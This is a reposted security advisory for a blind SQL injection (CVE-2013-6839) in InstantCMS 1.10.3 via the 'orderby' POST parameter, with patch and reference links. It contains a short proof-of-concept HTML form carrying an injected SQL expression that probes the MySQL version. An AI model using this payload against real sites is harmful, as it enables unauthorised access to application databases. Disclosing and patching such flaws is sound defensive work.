InstantCMS 1.10.3 - Blind SQL Injection

Advisory Details:
 
High-Tech Bridge Security Research Lab discovered blind SQL injection vulnerability in InstantCMS, which can be exploited to perform SQL Injection attacks, alter SQL requests and compromise vulnerable application. 
 
 
1) SQL Injection in InstantCMS: CVE-2013-6839
 
The vulnerability exists due to insufficient filtration of "orderby" HTTP POST parameter passed to "/catalog/[id]" URL. A remote unauthenticated attacker can execute arbitrary SQL commands in application's database.
 
Simple exploit code below uses blind SQL injection exploitation technique, and will display different order of records on the page if MySQL version is 5.*:
 
 
<form action="http://[host]/catalog/2" method="post" name="main">
<input type="hidden" name="orderby"  value="(-pubdate*(substring(version(),1,1)=5))">
<input type="hidden" name="orderto"  value="asc">
<input type="submit" id="btn">
</form>
 
 
-----------------------------------------------------------------------------------------------
 
Solution:
 
Apply patch for InstantCMS 1.10.3:
http://www.instantcms.ru/download/patch/security_update_for_iCMS_1.10.3_21-11-2013.zip
 
InstantCMS 1.10.3 downloaded after 21/11/2013 is patched [without version/release modification] and is not vulnerable.
 
More Information:
http://www.instantcms.ru/novosti/security-update-1-10-3.html
http://trac.instantcms.ru/changeset/1376

#  0day.today [2018-03-09]  #